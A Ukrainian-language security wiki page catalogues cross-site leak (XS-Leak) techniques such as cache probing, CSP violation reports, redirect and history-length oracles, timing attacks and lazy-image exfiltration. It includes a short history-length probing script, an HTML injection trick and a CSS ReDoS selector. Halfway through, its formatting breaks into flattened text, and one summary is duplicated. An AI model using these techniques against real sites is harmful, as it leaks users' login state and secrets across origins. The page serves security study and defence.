Зловмисник може експлуатувати **докладні повідомлення про помилки**, щоб вивести розмір відповідей крос-доменів. Це можливо завдяки механізму Цілісності Підресурсів (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменних ресурсах, вони повинні бути **CORS-увімкнені**; в іншому випадку вони не підлягають перевіркам цілісності. У Безпекових Заявах (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak.

### CSP Порушення/Виявлення

* **Методи включення**: Вікна
* **Виявна різниця**: Код статусу
* **Більше інформації**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Резюме:** Дозволяючи лише веб-сайт жертви в CSP, якщо ми отримали доступ до нього, намагається перенаправити на інший домен, CSP викликає виявну помилку.
* **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak може використовувати CSP для виявлення, чи було перенаправлено крос-доменний сайт на інший домен. Цей витік може виявити перенаправлення, але додатково домен цілі перенаправлення також витікає. Основна ідея цієї атаки полягає в тому, щоб **дозволити цільовий домен на сайті зловмисника**. Як тільки запит надсилається на цільовий домен, він **перенаправляє** на крос-доменний домен. **CSP блокує** доступ до нього та створює **звіт про порушення, що використовується як техніка витоку**. Залежно від браузера, **цей звіт може витікати цільове місце перенаправлення**.\
Сучасні браузери не вказують URL, на який було перенаправлено, але ви все ще можете виявити, що було викликано крос-доменне перенаправлення.

### Кеш

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Вміст сторінки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Резюме:** Очистіть файл з кешу. Відкриває цільову сторінку, перевіряє, чи файл присутній у кеші.
* **Приклад коду:**

Браузери можуть використовувати один спільний кеш для всіх веб-сайтів. Незалежно від їх походження, можливо вивести, чи цільова сторінка **запитувала конкретний файл**.

Якщо сторінка завантажує зображення лише якщо користувач увійшов в систему, ви можете **анулювати** **ресурс** (щоб він більше не кешувався, якщо це було, див. посилання на більше інформації), **виконати запит**, який може завантажити цей ресурс, і спробувати завантажити ресурс **з поганим запитом** (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу **не викликало жодної помилки**, це тому, що він був **кешований**.

### Директива CSP

* **Методи включення**: Фрейми
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Резюме:** Директиви заголовка CSP можуть бути перевірені за допомогою атрибута iframe CSP, розкриваючи деталі політики.
* **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати Політику Безпеки Контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка помилки**. Однак, якщо iframe вже регулюється CSP, і нова запропонована політика не є більш обмежувальною, сторінка завантажиться нормально. Цей механізм відкриває шлях для зловмисника **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку помилки. Хоча ця вразливість була позначена як виправлена, наші знахідки виявляють **нову техніку витоку**, здатну виявити сторінку помилки, що свідчить про те, що основна проблема ніколи не була повністю вирішена.

### **CORP**

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Резюме:** Ресурси, захищені Політикою Ресурсів Крос-Доменів (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження.
* **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити крос-доменів без CORS до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**.

### CORB

* **Методи включення**: HTML Елементи
* **Виявна різниця**: Заголовки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Резюме**: CORB може дозволити зловмисникам виявити, коли **`nosniff` заголовок присутній** у запиті.
* **Приклад коду**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Перевірте посилання для отримання додаткової інформації про атаку.

### CORS помилка на неправильній конфігурації відображення походження <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Резюме**: Якщо заголовок Origin відображається в заголовку `Access-Control-Allow-Origin`, можливо перевірити, чи ресурс вже в кеші.
* **Приклад коду**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

У випадку, якщо **заголовок Origin** **відображається** в заголовку `Access-Control-Allow-Origin`, зловмисник може зловживати цією поведінкою, намагаючись **отримати** **ресурс** в **CORS** режимі. Якщо **помилка** **не викликана**, це означає, що він був **правильно отриманий з вебу**, якщо помилка **викликана**, це тому, що він був **доступний з кешу** (помилка з'являється, тому що кеш зберігає відповідь з заголовком CORS, що дозволяє оригінальному домену, а не домену зловмисника)**.**\
Зверніть увагу, що якщо походження не відображається, але використовується символ підстановки (`Access-Control-Allow-Origin: *`), це не спрацює.

## Техніка читабельних атрибутів

### Перенаправлення Fetch

* **Методи включення**: Fetch API
* **Виявна різниця**: Код статусу
* **Більше інформації**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення.
* **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Надсилаючи запит за допомогою Fetch API з `redirect: "manual"` та іншими параметрами, можливо прочитати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням.

### COOP

* **Методи включення**: Вікна
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Резюме:** Сторінки, захищені Політикою Відкривача Крос-Доменів (COOP), запобігають доступу з крос-доменних взаємодій.
* **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Зловмисник здатний вивести наявність заголовка Політики Відкривача Крос-Доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для перешкоджання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **недоступна**, коли COOP активний, і **визначена** у його відсутності.

### Максимальна довжина URL - серверна сторона

* **Методи включення**: Fetch API, HTML Елементи
* **Виявна різниця**: Код статусу / Вміст
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
* **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Якщо серверне перенаправлення використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що виявляється через події помилок**.

Якщо ви можете якимось чином встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\
Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` або бути в тому ж контексті зазвичай потрібно для цього типу атаки.

### Максимальна довжина URL - клієнтська сторона

* **Методи включення**: Вікна
* **Виявна різниця**: Код статусу / Вміст
* **Більше інформації**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою для запиту, що дозволяє помітити різницю.
* **Приклад коду**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Згідно з [документацією Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), максимальна довжина URL у Chrome становить 2 МБ.

> Загалом, _веб-платформа_ не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). _Chrome_ обмежує URL до максимальної довжини **2 МБ** з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесному спілкуванні.

Отже, якщо **перенаправлений URL відповідає більшій довжині в одному з випадків**, можливо зробити так, щоб він перенаправляв з **URL, більшим за 2 МБ**, щоб досягти **обмеження довжини**. Коли це трапляється, Chrome показує сторінку **`about:blank#blocked`**.

**Помітна різниця** полягає в тому, що якщо **перенаправлення** було **завершено**, `window.origin` викликає **помилку**, оскільки крос-домен не може отримати доступ до цієї інформації. Однак, якщо **обмеження** було **досягнуто** і завантажена сторінка була **`about:blank#blocked`**, **`origin`** вікна залишається таким, як у **батьківському**, що є **доступною інформацією.**

Вся додаткова інформація, необхідна для досягнення **2 МБ**, може бути додана через **хеш** в початковому URL, щоб вона була **використана в перенаправленні**.

<div data-gb-custom-block data-tag="content-ref" data-url='url-max-length-client-side.md'>

[url-max-length-client-side.md](url-max-length-client-side.md)

</div>

### Максимальна кількість перенаправлень

* **Методи включення**: Fetch API, Фрейми
* **Виявна різниця**: Код статусу
* **Більше інформації**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
* **Резюме:** Використовуйте обмеження перенаправлень браузера, щоб визначити наявність перенаправлень URL.
* **Приклад коду**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Якщо **максимальна** кількість **перенаправлень**, які потрібно слідувати в браузері, становить **20**, зловмисник може спробувати завантажити свою сторінку з **19 перенаправленнями** і нарешті **надіслати жертву** на перевірену сторінку. Якщо **помилка** викликана, це означає, що сторінка намагалася **перенаправити жертву**.

### Довжина історії

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Перенаправлення
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Резюме:** Код JavaScript маніпулює історією браузера і може бути доступний через властивість довжини.
* **Приклад коду**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**API Історії** дозволяє коду JavaScript маніпулювати історією браузера, яка **зберігає сторінки, відвідані користувачем**. Зловмисник може використовувати властивість довжини як метод включення: для виявлення навігації JavaScript та HTML.\
**Перевіряючи `history.length`**, змушуючи користувача **перейти** на сторінку, **повертаючи** її **назад** до того ж походження і **перевіряючи** нове значення **`history.length`**.

### Довжина історії з однаковим URL

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Якщо URL такий же, як вгаданий
* **Резюме:** Можливо вгадати, чи знаходиться місце розташування фрейму/вікна на конкретному URL, зловживаючи довжиною історії.
* **Приклад коду**: Нижче

Зловмисник може використовувати код JavaScript, щоб **маніпулювати місцем розташування фрейму/вікна на вгадане** і **негайно** **змінити його на `about:blank`**. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час **збільшитися, оскільки URL не перезавантажується, якщо він однаковий**. Якщо не збільшилася, це означає, що він **намагався завантажити вгаданий URL**, але тому що ми **негайно після цього** завантажили **`about:blank`**, довжина історії ніколи не збільшилася при завантаженні вгаданого URL.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/frame-counting/

• Summary: Оцінка кількості елементів iframe шляхом перевірки властивості window.length.

• Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak

Підрахунок кількості фреймів у веб відкритих через iframe або window.open може допомогти визначити статус користувача на цій сторінці. Більше того, якщо на сторінці завжди однакова кількість фреймів, постійна перевірка кількості фреймів може допомогти виявити шаблон, який може витікати інформацію.

Прикладом цієї техніки є те, що в Chrome PDF може бути виявлений за допомогою підрахунку фреймів, оскільки всередині використовується embed. Існують Open URL Parameters, які дозволяють певний контроль над вмістом, таким як zoom, view, page, toolbar, де ця техніка може бути цікавою.

HTMLElements

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/

• Summary: Читання витікованого значення для розрізнення між 2 можливими станами

• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak

Витік інформації через HTML елементи є проблемою в веб-безпеці, особливо коли динамічні медіа-файли генеруються на основі інформації користувача або коли додаються водяні знаки, що змінює розмір медіа. Це може бути використано зловмисниками для розрізнення між можливими станами, аналізуючи інформацію, що розкривається певними HTML елементами.

Information Exposed by HTML Elements

• HTMLMediaElement: Цей елемент розкриває duration та buffered часи медіа, які можна отримати через його API. Дізнайтеся більше про HTMLMediaElement

• HTMLVideoElement: Він розкриває videoHeight та videoWidth. У деяких браузерах доступні додаткові властивості, такі як webkitVideoDecodedByteCount, webkitAudioDecodedByteCount та webkitDecodedFrameCount, що пропонують більш детальну інформацію про вміст медіа. Дізнайтеся більше про HTMLVideoElement

• getVideoPlaybackQuality(): Ця функція надає деталі про якість відтворення відео, включаючи totalVideoFrames, що може вказувати на кількість оброблених відеоданих. Дізнайтеся більше про getVideoPlaybackQuality()

• HTMLImageElement: Цей елемент витікає height та width зображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, а функція image.decode() буде відхилена, що вказує на невдачу в правильному завантаженні зображення. Дізнайтеся більше про HTMLImageElement

CSS Property

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html

• Summary: Визначення варіацій у стилі веб-сайту, які корелюють зі станом або статусом користувача.

• Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak

Веб-додатки можуть змінювати стиль веб-сайту в залежності від статусу користувача. CSS файли з крос-доменом можуть бути вбудовані на сторінці зловмисника за допомогою HTML link element, і правила будуть застосовані до сторінки зловмисника. Якщо сторінка динамічно змінює ці правила, зловмисник може виявити ці різниці в залежності від стану користувача. Як техніка витоку, зловмисник може використовувати метод window.getComputedStyle, щоб читати CSS властивості конкретного HTML елемента. В результаті зловмисник може читати довільні CSS властивості, якщо відомий уражений елемент і назва властивості.

CSS History

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history

• Summary: Визначити, чи стиль :visited застосовано до URL, що вказує на те, що він вже відвідувався

• Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

Згідно з цим, це не працює в headless Chrome.

CSS селектор :visited використовується для стилізації URL по-різному, якщо вони були раніше відвідані користувачем. У минулому метод getComputedStyle() можна було використовувати для виявлення цих стильових відмінностей. Однак сучасні браузери впровадили заходи безпеки, щоб запобігти цьому методу виявляти стан посилання. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідане, і обмеження стилів, які можуть бути застосовані з селектором :visited.

Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в обмані користувача, щоб взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість mix-blend-mode. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача.

Крім того, виявлення може бути досягнуто без взаємодії користувача, експлуатуючи часи рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) було згадано в звіті про помилку Chromium, демонструючи цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу.

Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації:

• :visited: MDN Documentation

• getComputedStyle(): MDN Documentation

• mix-blend-mode: MDN Documentation

ContentDocument X-Frame Leak

• Inclusion Methods: Frames

• Detectable Difference: Headers

• More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf

• Summary: У Google Chrome відображається спеціальна сторінка помилки, коли сторінка блокується від вбудовування на крос-доменному сайті через обмеження X-Frame-Options.

• Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість null) для властивості contentDocument цього об'єкта, на відміну від iframe або інших браузерів. Зловмисники можуть експлуатувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто ігноруючи сторінки помилок. Обізнаність та послідовне застосування заголовків безпеки є критично важливими для запобігання таким витокам.

Download Detection

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: Headers

• More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger

• Summary: Зловмисник може розпізнати завантаження файлів, використовуючи iframe; продовжена доступність iframe вказує на успішне завантаження файлу.

• Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar

Заголовок Content-Disposition, зокрема Content-Disposition: attachment, інструктує браузер завантажувати вміст, а не відображати його в рядку. Цю поведінку можна експлуатувати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на основі Chromium існує кілька технік для виявлення цієї поведінки завантаження:

1. Моніторинг панелі завантаження:

• Коли файл завантажується в браузерах на основі Chromium, панель завантаження з'являється внизу вікна браузера.

• Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційоване.

1. Навігація завантаження з iframe:

• Коли сторінка викликає завантаження файлу, використовуючи заголовок Content-Disposition: attachment, це не викликає подію навігації.

• Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи призводить вміст до завантаження файлу (немає навігації) чи ні.

1. Навігація завантаження без iframe:

• Подібно до техніки iframe, цей метод передбачає використання window.open замість iframe.

• Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційоване завантаження файлу (немає навігації) або чи вміст відображається в рядку (відбувається навігація).

У сценаріях, де лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження.

Partitioned HTTP Cache Bypass

• Inclusion Methods: Pop-ups

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass

• Summary: Зловмисник може розпізнати завантаження файлів, використовуючи iframe; продовжена доступність iframe вказує на успішне завантаження файлу.

• Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (з https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)

Ось чому ця техніка цікава: Chrome тепер має розподіл кешу, і ключ кешу нововідкритої сторінки є: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ключ кешу різний, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: Отримання безпеки та конфіденційності шляхом розподілу кешу (Коментар з тут)

Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той же ключ кешу, як якби ресурс був безпосередньо запитаний через навігацію верхнього рівня. Це тому, що ключ кешу складається з верхнього рівня eTLD+1 та фрейму eTLD+1.

Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можливо спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження було змінено після зупинки, це означає, що ресурс був кешований. Або просто надіслати деякі запити до потенційно кешованої сторінки та виміряти час, який це займає.

Manual Redirect

• Inclusion Methods: Fetch API

• Detectable Difference: Redirects

• More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234

• Summary: Можливо дізнатися, чи є відповідь на запит fetch перенаправленням

• Code Example:

Fetch with AbortController

• Inclusion Methods: Fetch API

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

• Summary: Можливо спробувати завантажити ресурс і скасувати його до того, як він буде завантажений. В залежності від того, чи виникає помилка, ресурс був або не був кешований.

• Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

Використовуйте fetch та setTimeout з AbortController, щоб виявити, чи ресурс кешується, і видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту.

Script Pollution

• Inclusion Methods: HTML Elements (script)

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

• Summary: Можливо перезаписати вбудовані функції та читати їх аргументи, навіть з крос-доменного скрипту (який не може бути прочитаний безпосередньо), це може витікати цінну інформацію.

• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Service Workers

• Inclusion Methods: Pop-ups

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers

• Summary: Вимірювання часу виконання веб-додатку за допомогою сервісних працівників.

• Code Example:

У даному сценарії зловмисник ініціює реєстрацію сервісного працівника в одному зі своїх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та інструктує сервісного працівника розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому етапі, на сторінку, керовану сервісним працівником.

Після надходження запиту, ініційованого на попередньому етапі, сервісний працівник відповідає статус-кодом 204 (No Content), ефективно завершуючи процес навігації. У цей момент сервісний працівник фіксує вимірювання з таймера, ініційованого раніше на другому етапі. Це вимірювання впливає на тривалість JavaScript, що викликає затримки в процесі навігації.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Fetch Timing

• Inclusion Methods: Fetch API

• Detectable Difference: Timing (зазвичай через вміст сторінки, статус-код)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks

• Summary: Використовуйте performance.now(), щоб виміряти час, необхідний для виконання запиту. Можна використовувати й інші годинники.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks

Cross-Window Timing

• Inclusion Methods: Pop-ups

• Detectable Difference: Timing (зазвичай через вміст сторінки, статус-код)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

• Summary: Використовуйте performance.now(), щоб виміряти час, необхідний для виконання запиту, використовуючи window.open. Можна використовувати й інші годинники.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, що підтримуються найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Automate OffSec, EASM, and Custom Security Processes | Trickest

З HTML або повторна ін'єкція

Тут ви можете знайти техніки для ексфільтрації інформації з крос-доменного HTML ін'єкції HTML вмісту. Ці техніки цікаві в випадках, коли з будь-якої причини ви можете ін'єктувати HTML, але не можете ін'єктувати JS код.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Якщо вам потрібно ексфільтрувати вміст і ви можете додати HTML перед секретом, вам слід перевірити загальні техніки висячого розмітки. Однак, якщо з якоїсь причини ви МУСТЕ зробити це символ за символом (можливо, комунікація відбувається через кеш), ви можете використовувати цей трюк.

Зображення в HTML має атрибут "loading", значення якого може бути "lazy". У цьому випадку зображення буде завантажено, коли його переглядають, а не під час завантаження сторінки:

<img src=/something loading=lazy >

Тому, що ви можете зробити, це додати багато сміттєвих символів (наприклад, тисячі "W") для заповнення веб-сторінки перед секретом або додати щось на кшталт <br><canvas height="1850px"></canvas><br>. Тоді, якщо, наприклад, наша ін'єкція з'явиться перед прапором, зображення буде завантажено, але якщо з'явиться після прапора, прапор + сміття перешкодять його завантаженню (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це сталося в цьому звіті.

Інший варіант - використовувати scroll-to-text-fragment, якщо це дозволено:

Scroll-to-text-fragment

Однак, ви змушуєте бота отримати доступ до сторінки з чимось на кшталт

#:~:text=SECR

Отже, веб-сторінка буде виглядати приблизно так: https://victim.com/post.html#:~:text=SECR

Де post.html містить сміттєві символи атакуючого та зображення з лінивою завантаженням, а потім додається секрет бота.

Цей текст змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст SECR. Оскільки цей текст є секретом і він знаходиться безпосередньо під зображенням, зображення завантажиться лише якщо вгаданий секрет правильний. Отже, у вас є ваш оракул для екстракції секрету символ за символом.

Приклад коду для експлуатації цього: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Час завантаження зображення на основі лінивої завантаження

Якщо неможливо завантажити зовнішнє зображення, що могло б вказати атакуючому, що зображення було завантажено, іншим варіантом буде спробувати вгадати символ кілька разів і виміряти це. Якщо зображення завантажено, всі запити займатимуть більше часу, ніж якщо зображення не завантажено. Це було використано в рішенні цього опису підсумованому тут:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Якщо використовується jQuery(location.hash), можна дізнатися через таймінг чи існує деякий HTML контент, це тому, що якщо селектор main[id='site-main'] не відповідає, не потрібно перевіряти решту селекторів:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

CSS Injection

Defenses

Є рекомендації щодо пом'якшення в https://xsinator.com/paper.pdf, а також у кожному розділі вікі https://xsleaks.dev/. Ознайомтеся з цим для отримання додаткової інформації про те, як захиститися від цих технік.

References

• https://xsinator.com/paper.pdf

• https://xsleaks.dev/

